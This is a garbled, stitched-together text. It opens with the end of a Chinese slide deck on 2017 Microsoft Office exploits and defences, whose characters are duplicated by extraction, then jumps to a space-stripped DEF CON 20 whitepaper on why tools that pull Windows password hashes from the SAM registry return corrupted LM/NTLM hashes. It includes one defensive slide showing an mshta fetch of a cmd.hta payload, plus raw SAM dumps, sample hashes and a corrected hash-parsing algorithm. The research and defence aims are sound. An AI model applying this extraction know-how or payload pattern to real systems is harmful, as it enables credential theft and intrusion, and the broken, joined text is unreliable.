样本⾸首现时间:2017-08-03 • 攻击跨度时间:2017-12 ~ ⾄至今 • 漏漏洞洞信息披露露:《 SKELETON IN THE CLOSET: MS Office vulnerability you didn’t know about 》By Embedi, 2017-11-14 2017年年Office威胁分析与回顾 • Case study 5:CVE-2017-11882 EQNEDT32.EXE栈溢出漏漏洞洞 • 栈溢出 • 没有任何防御ASLR, DEP, GS cookies, SafeSEH… • Microsoft Security Development Lifecycle之前的产品,边界检查,攻击者为了了成功利利⽤用,不不 得不不努⼒力力避开其它的坑 2017年年Office威胁分析与回顾 • Case study 6:DDE(Dynamic Data Exchange) 攻击 • 样本再现时间:2017-10-09 • 攻击跨度时间:2017-10 ~ ⾄至今 • 漏漏洞洞信息披露露:《 Macro-less Code Exec in MSWord》By sensepost, 2017-10-09 2017年年Office威胁分析与回顾 • Case study 6:DDE(Dynamic Data Exchange) 攻击 • 样本再现时间:2017-10-09 • 攻击跨度时间:2017-10 ~ ⾄至今 • 漏漏洞洞信息披露露:《 Macro-less Code Exec in MSWord》By sensepost, 2017-10-09 2017年年Office威胁分析与回顾 如何建⽴立终端Office威胁防护机制 • 我们从3个层⾯面来考虑,如何去应对的Office威胁技术 • 内存层⾯面防护(低级别:通⽤用防护) • 逻辑漏漏洞洞层⾯面防护(中级别:针对性防护) • 宏利利⽤用⽅方⾯面防护(⾼高级别:响应性防护) 如何建⽴立终端Office威胁防护机制 • 内存层⾯面防护 Office进程内存层面 Mscomctl.ocx Wwlib.dll Dll … Office进程外组件 EQNEDT32.exe Odserv.exe FLTLDR.EXE … 1 DEP 2 ASLR 3 Anti-HeapSpary 4 Anti-Loadlib 5 Anti-Rop 6 Anti-Read/Write Primitives … 如何建⽴立终端Office威胁防护机制 • 内存层⾯面防护 • CVE-2017-0261: Office EPS Remote Code Execution Vulnerability 如何建⽴立终端Office威胁防护机制 • 内存层⾯面防护 • CVE-2017-11826: Microsoft Office Memory Corruption Vulnerability rtf-> word-> document.xml 如何建⽴立终端Office威胁防护机制 • 内存层⾯面防护 • CVE-2017-11882: Microsoft Office Memory Corruption Vulnerability rtf-> word-> embeddings-> oleobject1.bin 如何建⽴立终端Office威胁防护机制 • 逻辑漏漏洞洞防护: • 需要有⼀一只能够跟踪新技术,快速分析出漏漏洞洞成因的安全研究团队。 • 逻辑漏漏洞洞是偏功能性的,并不不⼀一定具有技术上的相似性,很难设计出通⽤用的检测⽅方案 • Case-By-Case的处理理 • CVE-2017-0199/8570:Hook OleGetAutoConvert • HRESULT OleGetAutoConvert( • _In_ REFCLSID clsidOld, • _Out_ LPCLSID pClsidNew); Application\hta object --- > KILL If return REGDB_E_KEYMISSING; Modify the return value S_OK; 如何建⽴立终端Office威胁防护机制 • 逻辑漏漏洞洞防护: • CVE-2017-0199/8570: BOOL HookingShellExecuteEx( _Inout_ SHELLEXECUTEINFO *pExecInfo); Mshta.exe / powershell.exe … http://127.0.0.1:8080/cmd.hta /??? Esp-4 如何建⽴立终端Office威胁防护机制 • 宏利利⽤用⽅方⾯面防护: • 安全培训,⻛风险意识 • 必要的技术⼿手段,限制某⼀一类的宏利利⽤用(OLE-SWF,DDE…) 如何建⽴立终端Office威胁防护机制 • EMET • Windows Defender Exploit Guard 2017年年Office ITW 0day原因分析 • Edge Browser - Mitigations: ASLR, DEP, ACG, CIG, WDAG… 2017年年Office ITW 0day原因分析 • Office - 历史悠久… - 足够复杂, 攻击面广… - 成本更低… 2018年年Office威胁趋势预测 • 基于宏攻击会继续泛滥 • 还有更更多的漏漏洞洞 谢谢 Q & A
pdf
Stamp Out Hash Corruption,  Crack All the Things!  RyanReynolds,Manager,CroweHorwath,LLP JonathanClaudius,SpiderLabsSecurityResearcher,Trustwave July2012 Abstract  ThiswhitepaperistoserveasasupportingreferencetotheDEFCON20talk,“Stamp OutHashCorruption,CrackAlltheThings!”.Thefocusofboththepaperand presentationistoshowhowanumberofWindowspasswordextractiontools– CainandAble,Metasploit,Creddumpandmanyothers–yieldcorruptdatawhen extractingpasswordhashesfromtheWindowsRegistry.Boththepaperandthe presentationincludethediscoveryprocessandadetaileddescriptionofthe problem,aswellasasolutionforobtainingthecorrecthashes. Content Primer  ThemotivationbehindobtainingpasswordhashesfromWindows‐basedsystemsis verysimilartoobtainingpasswordhashesfromanyotheroperatingsystem,service orapplication.Generallyspeaking,thefocusofthisprocessiseithertotransforma hashintotheoriginalclear‐textversionofthepasswordortobeabletousethat hashdirectly(perhapsviathepass‐the‐hashtechniqueinWindows)toeither validatethesecurityofthepassworditselfortoescalateprivilegesinthecontextof amalicioususer. WhenreferringtoWindows‐basedpasswordhashes,therearetwodifferenthash typesthatthispaperwillfocuson;LANManager(LM)‐stylehashesandNTLAN Manager(NTLM)‐stylehashes.LMhashingistheolderofthetwohashing algorithmsandcomeswithanumberofsecurityflaws:  Passwordsarenotcase‐sensitive  Passwordshaveamaximumlengthof14characters  Passwordsaresplitintotwo7‐characterportions,eachofwhichishashed separately,drasticallyreducingthenumberofpotentialhashkeys  Hashesarenotindividuallysalted NTLMhashing,beingthenewerofthetwoalgorithms,isstrongerthanLMhashing. Iteliminatesthefirstthreeshortcomings,butitisstillnotindividuallysalted, leavingbothalgorithmssusceptibletopre‐computeddictionaryattacks. Twomethodsforextractingpasswordhasheswillbediscussed:memoryinjection intotheLSASSprocessspace(“memoryinjection”)andreadingoftheSAMfromthe WindowsRegistry(“registryreading”). LSASSinjectionislikelythemostpopularmethodforobtainingWindowspassword hashes,usingtoolssuchaspwdump6andfgdump2.1,andisgenerallyacceptedas thetraditionalmethodofobtaininghashes.However,LSASSinjectiondoescome withitsshareofshortcomings:  Modernanti‐virus(AV)controlscommonlypreventthismethod  PotentialtocauseacrashintheLSASSprocess Registryreadingishistoricallylesspopularbuthasrecentlybeenconsidereda preferredapproach,despitehavingbeenaroundforquitesometime (approximately18years),becauseitovercomesanumberofissuespresentedby thememoryinjectionmethod:  ItistypicallynotobstructedbyAV,asregistryaccessisallowedaspartof normalactivityonaWindowssystem  ItdoesnotpresentthesystemstabilityconcernsofloadingforeignDLLsinto thememoryofcriticalsystemprocesses  Hashescanbeextractedfromsystemsthatarenotrunningbycopyingthe appropriatehivefiles Research Motivations  Themotivationbehindthisresearchwastoidentifyandeliminatethesourceof inconsistenciesinWindowshashesretrievedduringreal‐worldpenetration assessments. Duringassessments,passwordhasheswhereoftenobtainedbyusingtheregistry readingmethod.Occasionally,though,extractedhasheswouldappearcorrupted– theydidnotworkinpass‐the‐hashtechniquesandtheycouldnotbecracked,even whenusingrainbowtables.However,whenrevertingtousingthememory injectionmethod,asasanitycheck,entirelydifferenthasheswouldbereceivedfor thesameaccounts.LMandNTLMhashesfromanexampleuserareprovidedbelow, usingbothmethods. 4500a2115ce8e23a99303f760ba6cc96 (BAD LM HASH) 5c0bd165cea577e98fa92308f996cf45 (BAD NTLM HASH) Figure:1A(viaRegistryReadingMethod) aad3b435b51404eeaad3b435b51404ee (LM HASH) 5f1bec25dd42d41183d0f450bf9b1d6b (NTLM HASH) Figure:1B(viaMemoryInjectionMethod) Attemptstocrackthehashesextractedusingthememoryinjectionmethodwere successfulinobtainingtheclear‐textpassword(“bananas”intheaboveexample). Additionally,attemptstousethepass‐the‐hashtechniquetogainaccesstoother systemswerealsosuccessful.Withthisunderstanding,itwasclearthatsomething waswrongwiththeregistryreadingmethoddeployedbymanytools,causingthem toyieldincorrecthashes. Aspartofthisresearch,attemptsweremadetoidentifyotherindividualswhohad experiencedsimilarissues.Thisledtothediscoveryofseveralpeoplewhohad experiencedthisissuebeforeandtheidentificationofapre‐existingMetasploitBug #4404,whichdescribesthesymptomsoftheissuedescribedabove.Thegoalofthis researchwastocorrectthisproblemandpatchthetoolsthatareaffectedsothatthe informationsecuritycommunitycanmorereliablyobtaincorrectpasswordhashes inordertoassessthetruestateofagivensystem. Detailed Technical Description  Tounderstandthisissue,itisimportanttounderstandwherehashdataisstored, howitisextractedandhowitisconvertedintousableLMandNTLMhashesthat canbeprocessedbycrackingtoolssuchasJohntheRipper(JtR). Theregistry’sSAMkey(areferencetotheSecurityAccountsManager)isthe permanentstoragelocationofsecurityinformationforeachlocaluseronthe system. IntakingacloserlookattheSAMkey,akeyexistsforeachindividualuserunder HKLM\SAM\SAM\Domains\Account\Users\.Undereachuser’skeyaretwo registryvalues,“F”and“V”,eachcontainingbinarydatathatrepresentinformation abouttheuser.The“F”keycontainsprimarilypolicyandauditinformation,suchas lastlogon,passwordlastset,accountexpires,lastincorrectpassword,andpassword expiration. The“V”key–theoneofparticularinterest–containstheusername,fullname, comments,homedirectory,hoursallowedandmostimportantlytheLMandNTLM hashdatafortheuser.ItisimportanttonoteherethattheLMandNTLMhashdata presentinthe“V”keyisnottheactualLMandNTLMhashes.Thisdataneedstobe translatedintotheLMandNTLMhashformatsthroughaseriesofcryptographic algorithms,whichareoutsidethescopeofthispaper,butareexplainedinmore detailinBrendanDolan‐Gavitt’s2008blogposton“SysKeyandtheSAM”(See References). Hereisanexampleofthebinarydatastoredinboththe“F”and“V”keysforauser thatisstoringLMandNTLMhashdata: HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000003ED F REG_BINARY 020001000000000000000000000000000000000000000000998762B9 F859CD010000000000000000A7BAABA7F859CD01ED03000001020000100200000000000002000000 000000000000000000844400 V REG_BINARY 00000000D400000002000100D40000000A00000000000000E0000000 0A00000000000000EC0000000000000000000000EC0000000000000000000000EC00000000000000 00000000EC0000000000000000000000EC0000000000000000000000EC0000000000000000000000 EC0000000000000000000000EC0000000000000000000000EC00000015000000A800000004010000 08000000010000000C01000014000000000000002001000014000000000000003401000004000000 0000000038010000040000000000000001001480B4000000C4000000140000004400000002003000 0200000002C014004400050101010000000000010000000002C01400FFFF1F000101000000000005 070000000200700004000000000014005B03020001010000000000010000000000001800FF070F00 0102000000000005200000002002000000001800FF070F0001020000000000052000000024020000 00002400440002000105000000000005150000003FAD1462235F636B07E53B2BED03000001020000 00000005200000002002000001020000000000052000000020020000740065007300740032000000 740065007300740032000100FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5B3E6801020000 07000000010001009AC412C7DA10C788963DF9DF7E6B5EF401000100B0FD8B04845B3E6836EC62ED D3EC84CA0100010001000100 Figure:2A(LMandNTLMHashDataStored) Asseeninfigure2A,thetexthighlightedinyellowistheLMandNTLMhashdata thatatoolwouldneedtoreadandextractforthisuser.Hereisanotherexampleof theexactsameuser,butwithLMstoragedisabled. HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000003ED F REG_BINARY 020001000000000000000000000000000000000000000000D3680214 F959CD010000000000000000A7BAABA7F859CD01ED03000001020000100200000000000002000000 000000000000000000844400 V REG_BINARY 00000000D400000002000100D40000000A00000000000000E0000000 0A00000000000000EC0000000000000000000000EC0000000000000000000000EC00000000000000 00000000EC0000000000000000000000EC0000000000000000000000EC0000000000000000000000 EC0000000000000000000000EC0000000000000000000000EC00000015000000A800000004010000 08000000010000000C01000004000000000000001001000014000000000000002401000004000000 0000000028010000040000000000000001001480B4000000C4000000140000004400000002003000 0200000002C014004400050101010000000000010000000002C01400FFFF1F000101000000000005 070000000200700004000000000014005B03020001010000000000010000000000001800FF070F00 0102000000000005200000002002000000001800FF070F0001020000000000052000000024020000 00002400440002000105000000000005150000003FAD1462235F636B07E53B2BED03000001020000 00000005200000002002000001020000000000052000000020020000740065007300740032000000 740065007300740032000100FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5B3E6801020000 070000000100010001000100B0FD8B04845B3E6836EC62EDD3EC84CA0100010001000100 Figure:2B(OnlyNTLMHashDataStored) AsseeninFigures2Aand2B,thecontentsstoredwithinVchanges,dependingon whetheranLMhashispresentornot. Whilethehashdatainfigures2Aand2Bhasbeenmanuallyfoundandhighlighted fordemonstrationpurposes,toolsmustfollowamorerigorousprocesstoknow whatsourcedatatotranslateintoactualhashes. Anextractiontoolstartsbydeterminingthereadoffsetwithin”V”tofindthestartof thehashdatasection.Thefollowingpseudo‐codeisusedtoreliablyfindthe beginningofhashdatasection,alsoknownashashdataoffset: 1. Read156bytes(0x9c)intothedatastructure 2. Thenparsethenext4bytesasaninteger(X) 3. HashDataOffset=X+204bytes(0xCC) Nowthatthehashdataoffsetisknownforaparticularuser,theremainderofthe datain”V”,startingattheoffset,isconsideredthehashdatasection.Usingthe aboveexamples(Figure2Aand2B),atoolreadsfromthehashdataoffsettotheend ofthedatastructuresandisleftwiththefollowinghashdatasectionsrespectively: 010001009AC412C7DA10C788963DF9DF7E6B5EF401000100B0FD8B04845B3E6836EC62EDD3EC84CA010001 0001000100 (hash data section) Figure:3A(LMandNTLMHashDataStored) 0100010001000100B0FD8B04845B3E6836EC62EDD3EC84CA0100010001000100 (hash data section) Figure:3B(OnlyNTLMHashDataStored) Theremainingdata(hashdatasection)forbothdatastructureschangewhenLM hashdataisnotpresent.Asseeninfigures3Aand3B,thehashdataissimply strippedawayandthestartandenddelineators(“01000100”)arestillpresent. Thismeansthatinorderfortoolstoproperlyparsehashdatainbothscenarios,an extractiontoolneedstomakeadecisionaboutwhetherornottheLMhashdatais presentornot.Mostregistryextractiontools,inusetodayandincludedwithin scopeofthisresearch,usethefollowingparsinglogic: 1. IfHashDataSection>40bytes(0x28)then  lmoffset=HashDataOffset+4bytes(0x04)  ntoffset=HashDataOffset+20bytes(0x14)  ParseasifLMandNTLMhashdataarepresent 2. ElseIfHashDataSection>20bytes(0x14)then  ntoffset=HashDataOffset+8bytes(0x08)  ParseasifNTLMispresent Note:Theabove4byteincrementsusedintheoffsetcalculationsareusedtoskip thestartandenddelineatorsthatarepresentinthedatastructure. Whenatoolemploystheabovelogictofigures3Aand3B,theendresultistheLM andNTLMhashdataelementsfromeachstructure: 9AC412C7DA10C788963DF9DF7E6B5EF4 (LM HASH DATA) B0FD8B04845B3E6836EC62EDD3EC84CA (NTLM HASH DATA) Figure:4A(LMandNTLMHashDataStored) B0FD8B04845B3E6836EC62EDD3EC84CA (NTLM HASH DATA) Figure:4B(OnlyNTLMHashDataStored) Asseenabove,whenatoolemploysthislogicitcanaccuratelyextractpassword hashdataforthisuser.Afterthisinformationisobtainedbyatool,theresulting hashdatacanthenbepassedtocryptographicalgorithmstodecodehashdataand translateintotypicalLMandNTLMhashes.Thesehashescanthenbesuppliedtoa crackingtoollikeJohntheRipper(JtR)toobtaintheclear‐textpasswords. Asnotedpreviously,theaboveparsinglogicisusedbynearlyalltheregistry‐based extractiontoolsexamined.Withthatinmind,acloserlookattheFandVdatafor anaccountaffectedbythehashcorruptionproblemisilluminating.Thefollowing figuresshowanexampleofthis: HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000003ed F REG_BINARY 0200010000000000000000000000000000000000000000001C61A42C 0F5ACD010000000000000000A4CE64640E5ACD01ED03000001020000100200000000000002000000 000000000000000000844400 V REG_BINARY 00000000D400000002000100D40000000A00000000000000E0000000 0A00000000000000EC0000000000000000000000EC0000000000000000000000EC00000000000000 00000000EC0000000000000000000000EC0000000000000000000000EC0000000000000000000000 EC0000000000000000000000EC0000000000000000000000EC00000015000000A800000004010000 08000000010000000C01000014000000000000002001000014000000000000003401000094000000 00000000C8010000840000000000000001001480B4000000C4000000140000004400000002003000 0200000002C014004400050101010000000000010000000002C01400FFFF1F000101000000000005 070000000200700004000000000014005B03020001010000000000010000000000001800FF070F00 0102000000000005200000002002000000001800FF070F0001020000000000052000000024020000 00002400440002000105000000000005150000003FAD1462235F636B07E53B2BED03000001020000 00000005200000002002000001020000000000052000000020020000740065007300740032000000 740065007300740032000100FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5B3E6801020000 07000000010001009AC412C7DA10C788963DF9DF7E6B5EF401000100B0FD8B04845B3E6836EC62ED D3EC84CA0100010015F478C0D71D99AB56AB61F0921DE0EF9C21D096BE07202EDF579D32EF31DF17 8E47CFC180A85D50451DBBCD73DB89F3E81DC94989A51D23610F8669762EBFD5DF73B40F40B95683 5E95719E0C18D4B27CAC2754CA807AD818CB4C27677A52621BA0A5AFB8CAA34AC3DFCDA8054B9395 14CD7E8A51840220C7E1AF65C0865C015E517C522EAB6710181584F4E2D0652C0100010030077263 8DEB345851FF5B0CCA0123BB9B5C279A405AC24B0E98A583843488CD968264658858D5560A2047DB 06FC11269C826D74B1EA6C1F2B6293F992E0360D562D62A1C091EDDC0C054E6A47881065C4F38C5C F888781246B88769BCE6E08E3ADBC06193EF250EC43775C8A5AE558A44F87484AED9BE0B73464DCD A257CC67 Figure:5A(LMandNTLMHashDataStored) HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000003ed F REG_BINARY 02000100000000000000000000000000000000000000000001174DC0 0E5ACD010000000000000000A4CE64640E5ACD01ED03000001020000100200000000000002000000 000000000000000000844400 V REG_BINARY 00000000D400000002000100D40000000A00000000000000E0000000 0A00000000000000EC0000000000000000000000EC0000000000000000000000EC00000000000000 00000000EC0000000000000000000000EC0000000000000000000000EC0000000000000000000000 EC0000000000000000000000EC0000000000000000000000EC00000015000000A800000004010000 08000000010000000C01000004000000000000001001000014000000000000002401000064000000 0000000088010000540000000000000001001480B4000000C4000000140000004400000002003000 0200000002C014004400050101010000000000010000000002C01400FFFF1F000101000000000005 070000000200700004000000000014005B03020001010000000000010000000000001800FF070F00 0102000000000005200000002002000000001800FF070F0001020000000000052000000024020000 00002400440002000105000000000005150000003FAD1462235F636B07E53B2BED03000001020000 00000005200000002002000001020000000000052000000020020000740065007300740032000000 740065007300740032000100FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5B3E6801020000 070000000100010001000100B0FD8B04845B3E6836EC62EDD3EC84CA0100010015F478C0D71D99AB 56AB61F0921DE0EF9C21D096BE07202EDF579D32EF31DF172549756090BA6CB58D6EB32C31E0714E B7CF5C2A4073BEBF1C979A4CD4F07404747D0EAE50AB676696E6797F4E232C0F7CAC2754CA807AD8 18CB4C27677A526201000100BB10DCCFE8681DD551FF5B0CCA0123BBB83FA6A3F659351C0E98A583 843488CDB5E1E55C3E5B22010A2047DB06FC11269C826D74B1EA6C1F2B6293F992E0360D562D62A1 C091EDDC0C054E6A47881065 Figure:5B(OnlyNTLMHashDataStored) Theprimarydifferencesinthebinarydataforwhatisstoredinfigures2Aand2B versuswhatisstoredinfigures5Aand5Barehighlightedingreen.Thisadditional dataispresentwhenanadministratorenablespasswordhistories(topreventuser passwordre‐use)andtheaccount’spasswordchanges.Basedonourobservationof howthestructuregrowseverytimeapasswordresetoccurs,thisistheprobable storagelocationofhashdataforpreviouspasswords. Let’snowtakeanotherlookathowthede‐facto‐standardlogicthatwedescribed aboveisaffectedbythischangeindatastructure.Assumingweusethesame calculationtodetermineouroffset,wethenconsidertheremainderofthestructure tobethehashdatasection.Belowweprovidethehashdatasectionforthe examplesdescribedinFigures5Aand5B. 010001009AC412C7DA10C788963DF9DF7E6B5EF401000100B0FD8B04845B3E6836EC62EDD3EC84CA 0100010015F478C0D71D99AB56AB61F0921DE0EF9C21D096BE07202EDF579D32EF31DF178E47CFC1 80A85D50451DBBCD73DB89F3E81DC94989A51D23610F8669762EBFD5DF73B40F40B956835E95719E 0C18D4B27CAC2754CA807AD818CB4C27677A52621BA0A5AFB8CAA34AC3DFCDA8054B939514CD7E8A 51840220C7E1AF65C0865C015E517C522EAB6710181584F4E2D0652C01000100300772638DEB3458 51FF5B0CCA0123BB9B5C279A405AC24B0E98A583843488CD968264658858D5560A2047DB06FC1126 9C826D74B1EA6C1F2B6293F992E0360D562D62A1C091EDDC0C054E6A47881065C4F38C5CF8887812 46B88769BCE6E08E3ADBC06193EF250EC43775C8A5AE558A44F87484AED9BE0B73464DCDA257CC67 (hash data section) Figure:6A(LMandNTLMHashDataStored) 0100010001000100B0FD8B04845B3E6836EC62EDD3EC84CA0100010015F478C0D71D99AB56AB61F0 921DE0EF9C21D096BE07202EDF579D32EF31DF172549756090BA6CB58D6EB32C31E0714EB7CF5C2A 4073BEBF1C979A4CD4F07404747D0EAE50AB676696E6797F4E232C0F7CAC2754CA807AD818CB4C27 677A526201000100BB10DCCFE8681DD551FF5B0CCA0123BBB83FA6A3F659351C0E98A583843488CD B5E1E55C3E5B22010A2047DB06FC11269C826D74B1EA6C1F2B6293F992E0360D562D62A1C091EDDC 0C054E6A47881065 (hash data section) Figure:6B(OnlyNTLMHashDataStored) Whenwecheckthesizeofbothhashdatasections,forFigures6Aand6B,theyare bothgreaterthan40bytes(0x28)inlength.Whatthismeansisthat,regardlessof whetherLMhashdataispresent,wewillalwaysparsethehashdatasectionasifLM andNTLMhasharepresent.Ifwefollowthislogic,thenweendupparsingthe followinghashdatafromFigures6Aand6B. 9AC412C7DA10C788963DF9DF7E6B5EF4 (LM HASH DATA) B0FD8B04845B3E6836EC62EDD3EC84CA (NTLM HASH DATA) Figure:7A(LMandNTLMHashDataStored) 01000100b0fd8b04845b3e6836ec62ed (BAD LM HASH DATA) 0100010015f478c0d71d99ab56ab61f0 (BAD NTLM HASH DATA) Figure:7B(OnlyNTLMHashDataStored) AsseeninFigure7A,thislogiccorrectlyparsedVdatathatcontainedLMandNTLM hashes,evenwithhistoricalpasswordhashesstored.However,Figure7Bshows thatthislogicdoesnotcorrectlyparsethedatawhenitcontainshistoricalpassword hashesandonlyaNTLMhash. Itisthatpointthatleadstothecruxoftheissue,theflawedassumptionthatahash datalengthgreaterthan40bytesindicatesthepresenceofbothLMandNTLM hashes.Underthisflawedassumption,atooltaskedwithparsinganNTLMhash only,followedbyhistoricalpasswordhashes,willalwaysincorrectlyparsewhatit believestobethefirsthash(actuallyonlypartofthehash),sinceitisusingthe incorrectoffset.Itwillalsothenattempttoparseasecondhashbutgetcompletely junkdatabecauseitisreadingintoanotherdatastructure(thehistoricalhashes). Thisissuehasgoneundetectedbymanyextractiontoolsduetothefactthe corrupteddataisjusthashsourcedata,whichisthenpassedtocryptographic functionswhichresultinacorruptedLMandNTLMhashasdescribedinFigures1A and1B.ThisexplainswhytheresultingLMandNTLMhasheslookandfeellike validhashes,however,theyarenotatruerepresentationoftheusersencrypted password. Afterdiscoveringrootoftheissue,analternatealgorithmwaspursuedtoworkfor scenerioswithorwithouttheadditionaldata(showningreeninexamples7A,7B, 6A,6B,5A,5B).Whatwaslearnedwasthatearlierinthe”V”datastructureforeach userthereareheadervaluesthatdescribewhathashdataisbeingstoredforthe user.Thefollowingfiguresshowthehighlightedheadervaluesthatdescribe whethertheLMofNTLMhashdataispresent. HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000003ed F REG_BINARY 0200010000000000000000000000000000000000000000001C61A42C 0F5ACD010000000000000000A4CE64640E5ACD01ED03000001020000100200000000000002000000 000000000000000000844400 V REG_BINARY 00000000D400000002000100D40000000A00000000000000E0000000 0A00000000000000EC0000000000000000000000EC0000000000000000000000EC00000000000000 00000000EC0000000000000000000000EC0000000000000000000000EC0000000000000000000000 EC0000000000000000000000EC0000000000000000000000EC00000015000000A800000004010000 08000000010000000C01000014000000000000002001000014000000000000003401000094000000 00000000C8010000840000000000000001001480B4000000C4000000140000004400000002003000 0200000002C014004400050101010000000000010000000002C01400FFFF1F000101000000000005 070000000200700004000000000014005B03020001010000000000010000000000001800FF070F00 0102000000000005200000002002000000001800FF070F0001020000000000052000000024020000 00002400440002000105000000000005150000003FAD1462235F636B07E53B2BED03000001020000 00000005200000002002000001020000000000052000000020020000740065007300740032000000 740065007300740032000100FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5B3E6801020000 07000000010001009AC412C7DA10C788963DF9DF7E6B5EF401000100B0FD8B04845B3E6836EC62ED D3EC84CA0100010015F478C0D71D99AB56AB61F0921DE0EF9C21D096BE07202EDF579D32EF31DF17 8E47CFC180A85D50451DBBCD73DB89F3E81DC94989A51D23610F8669762EBFD5DF73B40F40B95683 5E95719E0C18D4B27CAC2754CA807AD818CB4C27677A52621BA0A5AFB8CAA34AC3DFCDA8054B9395 14CD7E8A51840220C7E1AF65C0865C015E517C522EAB6710181584F4E2D0652C0100010030077263 8DEB345851FF5B0CCA0123BB9B5C279A405AC24B0E98A583843488CD968264658858D5560A2047DB 06FC11269C826D74B1EA6C1F2B6293F992E0360D562D62A1C091EDDC0C054E6A47881065C4F38C5C F888781246B88769BCE6E08E3ADBC06193EF250EC43775C8A5AE558A44F87484AED9BE0B73464DCD A257CC67 Figure:8A(LMandNTLMHashDataStored) HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000003ed F REG_BINARY 02000100000000000000000000000000000000000000000001174DC0 0E5ACD010000000000000000A4CE64640E5ACD01ED03000001020000100200000000000002000000 000000000000000000844400 V REG_BINARY 00000000D400000002000100D40000000A00000000000000E0000000 0A00000000000000EC0000000000000000000000EC0000000000000000000000EC00000000000000 00000000EC0000000000000000000000EC0000000000000000000000EC0000000000000000000000 EC0000000000000000000000EC0000000000000000000000EC00000015000000A800000004010000 08000000010000000C01000004000000000000001001000014000000000000002401000064000000 0000000088010000540000000000000001001480B4000000C4000000140000004400000002003000 0200000002C014004400050101010000000000010000000002C01400FFFF1F000101000000000005 070000000200700004000000000014005B03020001010000000000010000000000001800FF070F00 0102000000000005200000002002000000001800FF070F0001020000000000052000000024020000 00002400440002000105000000000005150000003FAD1462235F636B07E53B2BED03000001020000 00000005200000002002000001020000000000052000000020020000740065007300740032000000 740065007300740032000100FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5B3E6801020000 070000000100010001000100B0FD8B04845B3E6836EC62EDD3EC84CA0100010015F478C0D71D99AB 56AB61F0921DE0EF9C21D096BE07202EDF579D32EF31DF172549756090BA6CB58D6EB32C31E0714E B7CF5C2A4073BEBF1C979A4CD4F07404747D0EAE50AB676696E6797F4E232C0F7CAC2754CA807AD8 18CB4C27677A526201000100BB10DCCFE8681DD551FF5B0CCA0123BBB83FA6A3F659351C0E98A583 843488CDB5E1E55C3E5B22010A2047DB06FC11269C826D74B1EA6C1F2B6293F992E0360D562D62A1 C091EDDC0C054E6A47881065 Figure:8B(OnlyNTLMHashDataStored) Whenexaminingtheseheadervaluesthatdescribewhetherornotahashispresent foreitherLMorNTLM,asseenintheaboveFigures8Aand8Binblue,twovalues arepresentthatwhenunpackedresultineithera0x04ora0x14.If0x04,this meansthatahashisnotpresentandif0x14,thismeansthatahashispresent. Knowingthis,amodifiedparsingalgorithmwasdevelopedtoworkasfollows: 1. Read160bytes(0xA0)frombeginningofdatastructure 2. Thenparsethenext4bytesasaninteger(lm_header) 3. Read172bytes(0xAC)frombeginningofdatastructure 4. Thenparsethenext4bytesasaninteger(nt_header) 5. Read156bytes(0x9c)frombeginningofdatastructure 6. Thenparsethenext4bytesasaninteger(X) 7. HashDataOffset=X+204bytes(0xCC) 8. Iflm_header==20then a. lm_exists=true b. lm_offset=HashDataOffset+4 c. ParseLM 9. Ifnt_header==20then a. Iflm_exists i. nt_offset=HashDataOffset+24 ii. ParseNTLM b. Else i. nt_offset=HashDataOffset+8 ii. ParseNTLM Usingtheabovelogic,atoolwillparseFigures8Aand8Btoobtainthecorrecthash dataevenwithadditionaldatapresentattheendofthedatastructure. 14000000 (lm_header) 14000000 (nt_header) 010001009AC412C7DA10C788963DF9DF7E6B5EF401000100B0FD8B04845B3E6836EC62ED D3EC84CA0100010015F478C0D71D99AB56AB61F0921DE0EF9C21D096BE07202EDF579D32EF31DF17 8E47CFC180A85D50451DBBCD73DB89F3E81DC94989A51D23610F8669762EBFD5DF73B40F40B95683 5E95719E0C18D4B27CAC2754CA807AD818CB4C27677A52621BA0A5AFB8CAA34AC3DFCDA8054B9395 14CD7E8A51840220C7E1AF65C0865C015E517C522EAB6710181584F4E2D0652C0100010030077263 8DEB345851FF5B0CCA0123BB9B5C279A405AC24B0E98A583843488CD968264658858D5560A2047DB 06FC11269C826D74B1EA6C1F2B6293F992E0360D562D62A1C091EDDC0C054E6A47881065C4F38C5C F888781246B88769BCE6E08E3ADBC06193EF250EC43775C8A5AE558A44F87484AED9BE0B73464DCD A257CC67 (hash data section) Figure:9A(LMandNTLMHashDataStored) 04000000 (lm_header) 14000000 (nt_header) 01000100B0FD8B04845B3E6836EC62EDD3EC84CA0100010015F478C0D71D99AB 56AB61F0921DE0EF9C21D096BE07202EDF579D32EF31DF172549756090BA6CB58D6EB32C31E0714E B7CF5C2A4073BEBF1C979A4CD4F07404747D0EAE50AB676696E6797F4E232C0F7CAC2754CA807AD8 18CB4C27677A526201000100BB10DCCFE8681DD551FF5B0CCA0123BBB83FA6A3F659351C0E98A583 843488CDB5E1E55C3E5B22010A2047DB06FC11269C826D74B1EA6C1F2B6293F992E0360D562D62A1 C091EDDC0C054E6A47881065 (hash data section) Figure:9B(OnlyNTLMHashDataStored) Asseeninfigures9Aand9B,therespectiveLMandNTLMhashheaderelements indicate(via0x04or0x14)whetherthehashexistsornot,soatoolcannowmake thecorrectparsingdecisionswhenitcomestoreadingthroughthehashdata section.Onceatoolappliesthefinalsteps(5‐7listedabove),thecorrecthashdata isobtainedforbothexamplesasfollows: 9AC412C7DA10C788963DF9DF7E6B5EF4 (LM HASH DATA) B0FD8B04845B3E6836EC62EDD3EC84CA (NTLM HASH DATA) Figure:10A(LMandNTLMHashDataStored) B0FD8B04845B3E6836EC62EDD3EC84CA (NTLM HASH DATA) Figure:10B(OnlyNTLMHashDataStored) Affected Tools and Origins  Alargenumberoftools,whichextracthashesfromtheregistrywereconsideredas partofthisresearch.Toolsthatwereconfirmedasproducingcorruptedhashes whenusingtheregistryextractionmethodwereasfollows:  MetasploitHashdumpScript  Creddump  Samdump21.0.1  CainandAble  Pwdump  Pwdump5  Pwdump7  FGDump3.0  l0phtcrack6.0 